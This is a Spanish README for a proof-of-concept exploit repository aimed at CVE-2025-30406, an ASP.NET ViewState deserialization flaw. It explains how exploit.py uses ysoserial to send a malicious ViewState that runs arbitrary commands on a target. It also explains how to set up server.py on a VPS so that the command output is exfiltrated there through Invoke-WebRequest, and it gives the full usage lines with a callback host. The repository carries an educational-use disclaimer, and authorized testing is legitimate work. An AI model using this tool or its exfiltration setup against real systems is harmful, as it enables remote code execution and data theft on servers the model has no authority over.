
CVE-2025-30406 PoC de exploit de ViewState
Este es un script de Prueba de Concepto (PoC) que demuestra una explotación de deserialización de ViewState para CVE-2025-30406 en aplicaciones ASP.NET. Utiliza ysoserial para generar un payload malicioso de ViewState y lo envía a una URL especificada por el usuario para ejecutar un comando proporcionado. Para obtener los mejores resultados, la salida del comando puede exfiltrarse a un servidor HTTP personalizado (server.py) que se ejecuta en un VPS, el cual muestra los resultados en un formato estilizado con marcas de tiempo, prompts verdes y texto de salida en blanco. Este script está destinado únicamente a fines educativos y solo debe utilizarse en sistemas donde tenga permiso explícito para realizar pruebas de seguridad. El uso no autorizado es ilegal y poco ético.
exploit.py: El script PoC principal para generar y enviar el payload de ViewState.server.py: Un servidor HTTP para recibir y mostrar la salida de comandos exfiltrada en un formato estilizado.README.md: Este archivo, con instrucciones de configuración y uso.requests (pip install requests)server.py (recomendado para la exfiltración)git clone https://github.com/yourusername/cve-2025-30406-poc.git
cd cve-2025-30406-poc
pip install requests
exploit.py o especifique su ruta:
Para recibir la salida de comandos exfiltrada en un formato estilizado, ejecute server.py en un VPS:
server.py a su VPS (por ejemplo, mediante scp):
scp server.py user@your-vps-ip:/home/user/
sudo apt update && sudo apt install python3 python3-pip
python3 server.py
sudo ufw allow 8000
http://your-vps-ip:8000) para usarlo con el indicador -e en exploit.py.Ejecute exploit.py con los argumentos requeridos. El indicador -e es opcional, pero altamente recomendado para exfiltrar la salida de comandos a server.py para su visualización estilizada.
python exploit.py -u <target_url> -c <command> [-y <ysoserial_path>] [-e <callback_url>]
-u, --url: URL objetivo (p. ej., http://target.com/page.aspx) [Requerido]-c, --command: Comando a ejecutar (p. ej., whoami) [Requerido]-y, --ysoserial: Ruta al ejecutable de ysoserial (predeterminado: ./ysoserial.exe) [Opcional]-e, --exfil: URL de callback para exfiltrar la salida de comandos (p. ej., http://your-vps:8000) [Opcional]python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
server.py (recomendado):
python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000
En su VPS o máquina local, inicie el servidor HTTP para recibir la salida exfiltrada:
python3 server.py
El servidor mostrará la salida de los comandos con marcas de tiempo, un prompt $ verde y texto en blanco para facilitar la lectura.
exploit.py):
-e, el comando se envuelve para capturar la salida y enviarla a la URL de callback mediante Invoke-WebRequest.__VIEWSTATE.server.py):
$ verde y texto de salida en blanco.-e.Este proyecto está licenciado bajo la Licencia MIT. Consulte el archivo LICENSE para obtener más detalles.
Para preguntas o comentarios, abra un issue en este repositorio.